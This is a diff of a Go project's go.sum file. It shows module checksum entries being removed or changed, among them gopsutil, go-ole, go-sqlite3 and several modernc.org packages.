github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
|
||||
github.com/emirpasic/gods v1.12.0 h1:QAUIPSaCu4G+POclxeqb3F+WPpdKqFGlw36+yOzGlrg=
|
||||
github.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o=
|
||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
@@ -140,9 +136,6 @@ github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2
|
||||
github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
|
||||
github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
|
||||
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
|
||||
github.com/go-ole/go-ole v1.2.5/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
|
||||
github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
|
||||
github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
|
||||
github.com/go-sql-driver/mysql v1.5.0 h1:ozyZYNQW3x3HtqT1jira07DN2PArx2v7/mN66gGcHOs=
|
||||
github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
|
||||
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
|
||||
@@ -181,18 +174,15 @@ github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMyw
|
||||
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU=
|
||||
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.6 h1:BKbKCqvP6I+rmFHt06ZmyQtvB8xAkWdhFyr0ZUNZcxQ=
|
||||
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
|
||||
github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
|
||||
github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
|
||||
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
|
||||
github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.2.0 h1:qJYtXnJRWmpe7m/3XlyhrsLrEURqHRM2kxzoxXqyUDs=
|
||||
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
|
||||
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
|
||||
github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
|
||||
github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
|
||||
@@ -325,8 +315,6 @@ github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
|
||||
github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
|
||||
github.com/lib/pq v1.3.0 h1:/qkRGz8zljWiDcFvgpwUpwIAPu3r07TDvs3Rws+o/pU=
|
||||
github.com/lib/pq v1.3.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 h1:6E+4a0GO5zZEnZ81pIr0yLvtUWk2if982qA3F3QD6H4=
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
||||
github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
|
||||
@@ -350,8 +338,8 @@ github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m
|
||||
github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
|
||||
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
|
||||
github.com/mattn/go-sqlite3 v1.14.3/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
|
||||
github.com/mattn/go-sqlite3 v1.14.9 h1:10HX2Td0ocZpYEjhilsuo6WWtUqttj2Kb0KtD86/KYA=
|
||||
github.com/mattn/go-sqlite3 v1.14.9/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
|
||||
github.com/mattn/go-sqlite3 v1.14.5 h1:1IdxlwTNazvbKJQSxoJ5/9ECbEeaTTyeU7sEAZ5KKTQ=
|
||||
github.com/mattn/go-sqlite3 v1.14.5/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
|
||||
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
|
||||
github.com/mdlayher/genetlink v1.0.0/go.mod h1:0rJ0h4itni50A86M2kHcgS85ttZazNt7a8H2a2cw0Gc=
|
||||
github.com/mdlayher/netlink v0.0.0-20190409211403-11939a169225/go.mod h1:eQB3mZE4aiYnlUsyGGCOpPETfdQq4Jhsgf1fk3cwQaA=
|
||||
@@ -403,8 +391,6 @@ github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y8
|
||||
github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk=
|
||||
github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA=
|
||||
github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 h1:OdAsTTz6OkFY5QxjkYwrChwuRruF69c169dPK26NUlk=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||
github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
|
||||
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
|
||||
github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ=
|
||||
@@ -417,8 +403,6 @@ github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg
|
||||
github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=
|
||||
github.com/sergi/go-diff v1.1.0 h1:we8PVUC3FE2uYfodKH/nBHMSetSfHDR6scGdBi+erh0=
|
||||
github.com/sergi/go-diff v1.1.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM=
|
||||
github.com/shirou/gopsutil/v3 v3.21.10 h1:flTg1DrnV/UVrBqjLgVgDJzx6lf+91rC64/dBHmO2IA=
|
||||
github.com/shirou/gopsutil/v3 v3.21.10/go.mod h1:t75NhzCZ/dYyPQjyQmrAYP6c8+LCdFANeBMdLPCNnew=
|
||||
github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4=
|
||||
github.com/shopspring/decimal v0.0.0-20200227202807-02e2044944cc h1:jUIKcSPO9MoMJBbEoyE/RJoE8vz7Mb8AjvifMMwSyvY=
|
||||
github.com/shopspring/decimal v0.0.0-20200227202807-02e2044944cc/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
|
||||
@@ -455,10 +439,10 @@ github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
|
||||
github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
|
||||
github.com/things-go/go-socks5 v0.0.2 h1:dFi5iZ/LqgHRTQ6n3XlipTLDWHAQsejvJ300bH2VFWo=
|
||||
github.com/things-go/go-socks5 v0.0.2/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 h1:+sN63SJGqchSsVyNoeW4GyA0Y+g0LvKOHcaeqs1Rf6M=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
|
||||
github.com/tklauser/go-sysconf v0.3.9/go.mod h1:11DU/5sG7UexIrp/O6g35hrWzu0JxlwQ3LSFUzyeuhs=
|
||||
github.com/tklauser/numcpus v0.3.0/go.mod h1:yFGUr7TUHQRAhyqBcEg0Ge34zDBAsIvJJcyE6boqnA8=
|
||||
github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
|
||||
github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU=
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
@@ -514,7 +498,6 @@ golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKG
|
||||
golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY=
|
||||
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
|
||||
golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
|
||||
golang.org/x/mod v0.3.0 h1:RM4zey1++hCTbCVQfnWeKs9/IEsaBLA8vTkd0WVtmH4=
|
||||
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
@@ -590,7 +573,6 @@ golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -601,10 +583,6 @@ golang.org/x/sys v0.0.0-20210316164454-77fc1eacc6aa/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210816074244-15123e1e1f71/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210902050250-f475640dd07b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211013075003-97ac67df715c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1 h1:kwrAHlwJ0DUBZwQ238v+Uod/3eZ8B2K5rYsUHBQvzmI=
|
||||
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||
@@ -647,8 +625,6 @@ golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtn
|
||||
golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20201124115921-2c860bdd6e78/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.1.0 h1:po9/4sTYwZU9lPhi1tOrb4hCv3qrhiQ77LZfGa2OjwY=
|
||||
golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
|
||||
golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20190513163551-3ee3066db522/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
@@ -748,126 +724,4 @@ honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWh
|
||||
honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22 h1:DNtszwGa6w76qlIr+PbPEnlBJdiRV8SaxeigOy0q1gg=
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22/go.mod h1:GVx+5OZtbG4TVOW5ilmyRZAZXr1cNwfqUEkTOtWK0PM=
|
||||
lukechampine.com/uint128 v1.1.1 h1:pnxCASz787iMf+02ssImqk6OLt+Z5QHMoZyUXR4z6JU=
|
||||
lukechampine.com/uint128 v1.1.1/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
|
||||
modernc.org/cc/v3 v3.33.6/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.33.9/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.33.11/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.34.0/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.0/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.4/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.5/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.7/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.8/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.10/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.15/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.16/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.17/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.18 h1:rMZhRcWrba0y3nVmdiQ7kxAgOOSq2m2f2VzjHLgEs6U=
|
||||
modernc.org/cc/v3 v3.35.18/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/ccgo/v3 v3.9.5/go.mod h1:umuo2EP2oDSBnD3ckjaVUXMrmeAw8C8OSICVa0iFf60=
|
||||
modernc.org/ccgo/v3 v3.10.0/go.mod h1:c0yBmkRFi7uW4J7fwx/JiijwOjeAeR2NoSaRVFPmjMw=
|
||||
modernc.org/ccgo/v3 v3.11.0/go.mod h1:dGNposbDp9TOZ/1KBxghxtUp/bzErD0/0QW4hhSaBMI=
|
||||
modernc.org/ccgo/v3 v3.11.1/go.mod h1:lWHxfsn13L3f7hgGsGlU28D9eUOf6y3ZYHKoPaKU0ag=
|
||||
modernc.org/ccgo/v3 v3.11.3/go.mod h1:0oHunRBMBiXOKdaglfMlRPBALQqsfrCKXgw9okQ3GEw=
|
||||
modernc.org/ccgo/v3 v3.12.4/go.mod h1:Bk+m6m2tsooJchP/Yk5ji56cClmN6R1cqc9o/YtbgBQ=
|
||||
modernc.org/ccgo/v3 v3.12.6/go.mod h1:0Ji3ruvpFPpz+yu+1m0wk68pdr/LENABhTrDkMDWH6c=
|
||||
modernc.org/ccgo/v3 v3.12.8/go.mod h1:Hq9keM4ZfjCDuDXxaHptpv9N24JhgBZmUG5q60iLgUo=
|
||||
modernc.org/ccgo/v3 v3.12.11/go.mod h1:0jVcmyDwDKDGWbcrzQ+xwJjbhZruHtouiBEvDfoIsdg=
|
||||
modernc.org/ccgo/v3 v3.12.14/go.mod h1:GhTu1k0YCpJSuWwtRAEHAol5W7g1/RRfS4/9hc9vF5I=
|
||||
modernc.org/ccgo/v3 v3.12.18/go.mod h1:jvg/xVdWWmZACSgOiAhpWpwHWylbJaSzayCqNOJKIhs=
|
||||
modernc.org/ccgo/v3 v3.12.20/go.mod h1:aKEdssiu7gVgSy/jjMastnv/q6wWGRbszbheXgWRHc8=
|
||||
modernc.org/ccgo/v3 v3.12.21/go.mod h1:ydgg2tEprnyMn159ZO/N4pLBqpL7NOkJ88GT5zNU2dE=
|
||||
modernc.org/ccgo/v3 v3.12.22/go.mod h1:nyDVFMmMWhMsgQw+5JH6B6o4MnZ+UQNw1pp52XYFPRk=
|
||||
modernc.org/ccgo/v3 v3.12.25/go.mod h1:UaLyWI26TwyIT4+ZFNjkyTbsPsY3plAEB6E7L/vZV3w=
|
||||
modernc.org/ccgo/v3 v3.12.29/go.mod h1:FXVjG7YLf9FetsS2OOYcwNhcdOLGt8S9bQ48+OP75cE=
|
||||
modernc.org/ccgo/v3 v3.12.36/go.mod h1:uP3/Fiezp/Ga8onfvMLpREq+KUjUmYMxXPO8tETHtA8=
|
||||
modernc.org/ccgo/v3 v3.12.38/go.mod h1:93O0G7baRST1vNj4wnZ49b1kLxt0xCW5Hsa2qRaZPqc=
|
||||
modernc.org/ccgo/v3 v3.12.43/go.mod h1:k+DqGXd3o7W+inNujK15S5ZYuPoWYLpF5PYougCmthU=
|
||||
modernc.org/ccgo/v3 v3.12.46/go.mod h1:UZe6EvMSqOxaJ4sznY7b23/k13R8XNlyWsO5bAmSgOE=
|
||||
modernc.org/ccgo/v3 v3.12.47/go.mod h1:m8d6p0zNps187fhBwzY/ii6gxfjob1VxWb919Nk1HUk=
|
||||
modernc.org/ccgo/v3 v3.12.50/go.mod h1:bu9YIwtg+HXQxBhsRDE+cJjQRuINuT9PUK4orOco/JI=
|
||||
modernc.org/ccgo/v3 v3.12.51/go.mod h1:gaIIlx4YpmGO2bLye04/yeblmvWEmE4BBBls4aJXFiE=
|
||||
modernc.org/ccgo/v3 v3.12.53/go.mod h1:8xWGGTFkdFEWBEsUmi+DBjwu/WLy3SSOrqEmKUjMeEg=
|
||||
modernc.org/ccgo/v3 v3.12.54/go.mod h1:yANKFTm9llTFVX1FqNKHE0aMcQb1fuPJx6p8AcUx+74=
|
||||
modernc.org/ccgo/v3 v3.12.55/go.mod h1:rsXiIyJi9psOwiBkplOaHye5L4MOOaCjHg1Fxkj7IeU=
|
||||
modernc.org/ccgo/v3 v3.12.56/go.mod h1:ljeFks3faDseCkr60JMpeDb2GSO3TKAmrzm7q9YOcMU=
|
||||
modernc.org/ccgo/v3 v3.12.57/go.mod h1:hNSF4DNVgBl8wYHpMvPqQWDQx8luqxDnNGCMM4NFNMc=
|
||||
modernc.org/ccgo/v3 v3.12.60/go.mod h1:k/Nn0zdO1xHVWjPYVshDeWKqbRWIfif5dtsIOCUVMqM=
|
||||
modernc.org/ccgo/v3 v3.12.66/go.mod h1:jUuxlCFZTUZLMV08s7B1ekHX5+LIAurKTTaugUr/EhQ=
|
||||
modernc.org/ccgo/v3 v3.12.67/go.mod h1:Bll3KwKvGROizP2Xj17GEGOTrlvB1XcVaBrC90ORO84=
|
||||
modernc.org/ccgo/v3 v3.12.73/go.mod h1:hngkB+nUUqzOf3iqsM48Gf1FZhY599qzVg1iX+BT3cQ=
|
||||
modernc.org/ccgo/v3 v3.12.81/go.mod h1:p2A1duHoBBg1mFtYvnhAnQyI6vL0uw5PGYLSIgF6rYY=
|
||||
modernc.org/ccgo/v3 v3.12.84/go.mod h1:ApbflUfa5BKadjHynCficldU1ghjen84tuM5jRynB7w=
|
||||
modernc.org/ccgo/v3 v3.12.86/go.mod h1:dN7S26DLTgVSni1PVA3KxxHTcykyDurf3OgUzNqTSrU=
|
||||
modernc.org/ccgo/v3 v3.12.88/go.mod h1:0MFzUHIuSIthpVZyMWiFYMwjiFnhrN5MkvBrUwON+ZM=
|
||||
modernc.org/ccgo/v3 v3.12.90/go.mod h1:obhSc3CdivCRpYZmrvO88TXlW0NvoSVvdh/ccRjJYko=
|
||||
modernc.org/ccgo/v3 v3.12.92/go.mod h1:5yDdN7ti9KWPi5bRVWPl8UNhpEAtCjuEE7ayQnzzqHA=
|
||||
modernc.org/ccgo/v3 v3.12.95 h1:Ym2JG2G3P4IyZqjTTojHTl7qO0RysXeGSYPSoKPSBxc=
|
||||
modernc.org/ccgo/v3 v3.12.95/go.mod h1:ZcLyvtocXYi8uF+9Ebm3G8EF8HNY5hGomBqthDp4eC8=
|
||||
modernc.org/ccorpus v1.11.1 h1:K0qPfpVG1MJh5BYazccnmhywH4zHuOgJXgbjzyp6dWA=
|
||||
modernc.org/ccorpus v1.11.1/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
|
||||
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
|
||||
modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM=
|
||||
modernc.org/libc v1.9.8/go.mod h1:U1eq8YWr/Kc1RWCMFUWEdkTg8OTcfLw2kY8EDwl039w=
|
||||
modernc.org/libc v1.9.11/go.mod h1:NyF3tsA5ArIjJ83XB0JlqhjTabTCHm9aX4XMPHyQn0Q=
|
||||
modernc.org/libc v1.11.0/go.mod h1:2lOfPmj7cz+g1MrPNmX65QCzVxgNq2C5o0jdLY2gAYg=
|
||||
modernc.org/libc v1.11.2/go.mod h1:ioIyrl3ETkugDO3SGZ+6EOKvlP3zSOycUETe4XM4n8M=
|
||||
modernc.org/libc v1.11.5/go.mod h1:k3HDCP95A6U111Q5TmG3nAyUcp3kR5YFZTeDS9v8vSU=
|
||||
modernc.org/libc v1.11.6/go.mod h1:ddqmzR6p5i4jIGK1d/EiSw97LBcE3dK24QEwCFvgNgE=
|
||||
modernc.org/libc v1.11.11/go.mod h1:lXEp9QOOk4qAYOtL3BmMve99S5Owz7Qyowzvg6LiZso=
|
||||
